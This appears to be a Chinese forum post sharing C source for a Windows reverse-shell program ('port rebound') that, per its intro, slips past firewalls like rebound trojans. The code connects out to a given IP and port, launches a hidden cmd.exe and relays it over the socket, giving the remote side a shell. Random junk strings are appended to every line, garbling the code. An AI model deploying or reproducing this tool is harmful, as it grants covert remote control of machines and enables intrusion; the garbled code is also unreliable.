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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 TfPx   
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/* ============================== C0RwW??t  
Rebound port in Windows NT %}[??R0  
By wind,2006/7 V|)>  
===============================*/ XvdhPOMy  
#include 7-DC"`Y8e  
#include z0sB*5VH  
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#pragma comment(lib,"wsock32.lib") 1yu!:8=ee  
$m>e!P>%u  
void OutputShell(); v|GvN|_|  
SOCKET sClient; K^bn4Nr  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ,o)MiR9-[A  
,n*.Yq  
void main(int argc,char **argv) 5kF5`5+Vj  
{ t>xV]W<  
WSADATA stWsaData; iYf4 /1IG,  
int nRet; FyEl@ }W  
SOCKADDR_IN stSaiClient,stSaiServer; C6n4OU  
SxDE3A-:  
if(argc != 3) Li2)~4p><  
{ NmQ]qv  
printf("Useage:\n\rRebound DestIP DestPort\n"); `4CRpz  
return; T*IudxW  
} i ,'~Ds  
yrjm0BM#  
WSAStartup(MAKEWORD(2,2),&stWsaData); IQDWH/ c  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); UTPl7po5D  
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stSaiClient.sin_family = AF_INET; ^?2txLv,6  
stSaiClient.sin_port = htons(0); [3.rG!Na  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); HIF] c  
fp7Qb $-A  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) [>-k(D5D  
{ HZT;7<  
printf("Bind Socket Failed!\n"); <da! #12L  
return; =T$E lXwJ  
} g@Zc'g/XB  
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stSaiServer.sin_family = AF_INET; K  +~  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); ;VuIQ*@m"  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); W.a/k7 p  
L6a8%%`  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) EVf'1^f  
{ ciTQH (G  
printf("Connect Error!"); sqw _c{9  
return; C$bK!]a  
} (\}IOCNS  
OutputShell(); [Ue>KG62=  
} (]1 %s?ud*  
^tah4QmUA  
void OutputShell() =9c24j  
{ (:\hor%  
char szBuff[1024]; r (uM$R$o  
SECURITY_ATTRIBUTES stSecurityAttributes; Pc3u`QL?  
OSVERSIONINFO stOsversionInfo; 2C-u2;X2  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; [D t`@Dm  
STARTUPINFO stStartupInfo; ct  ZW7  
char *szShell; 7-5q\[ZK  
PROCESS_INFORMATION stProcessInformation; qb_V ,b9  
unsigned long lBytesRead; U2aE:$oeYi  
BXdT;b"J(  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); %VMazlM15  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); m[}$&i$(  
stSecurityAttributes.lpSecurityDescriptor = 0; oVu>jO:.  
stSecurityAttributes.bInheritHandle = TRUE; 4=9F1[  
DbcKKgPn(9  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 8{ep`$(K@  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); O/k4W#  
)6(mf2&  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ~_raI7,  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; /eI38>v  
stStartupInfo.wShowWindow = SW_HIDE; eN$~@'w  
stStartupInfo.hStdInput = hReadPipe; WFkXz*7B  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; =y':VIVJC  
68y.yX[  
GetVersionEx(&stOsversionInfo); =3"Nn4Z  
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switch(stOsversionInfo.dwPlatformId) DGU$3w  
{ Xm*Dh#H  
case 1: 1kpI?Plki  
szShell = "command.com"; l- X|3,  
break; (p. 5J  
default: 4_mh  
szShell = "cmd.exe"; 1t)6wk N  
break; rh!41  
} 65AOFH  
gs!{'=4wT  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); EU+sTe>  
v}!,4,]:&  
send(sClient,szMsg,77,0); cq0jM;@d  
while(1) k @ Hu0x  
{ &8;mcM//4  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); #C+0m`  
if(lBytesRead) Rl,B !SF  
{ xpV8_Gz;  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); tSg#2  
send(sClient,szBuff,lBytesRead,0); T|E;U  
} EGs z{c[8@  
else / g&mDYV|  
{ J@Li*Ypo  
lBytesRead=recv(sClient,szBuff,1024,0); T1x$v,)8x  
if(lBytesRead<=0) break; $/D@=P kc  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); _ pJU~8  
} qYpHH!!C=  
} ZK13[_@9  
Z?GC+hG`  
return; 0{j>u`  
}
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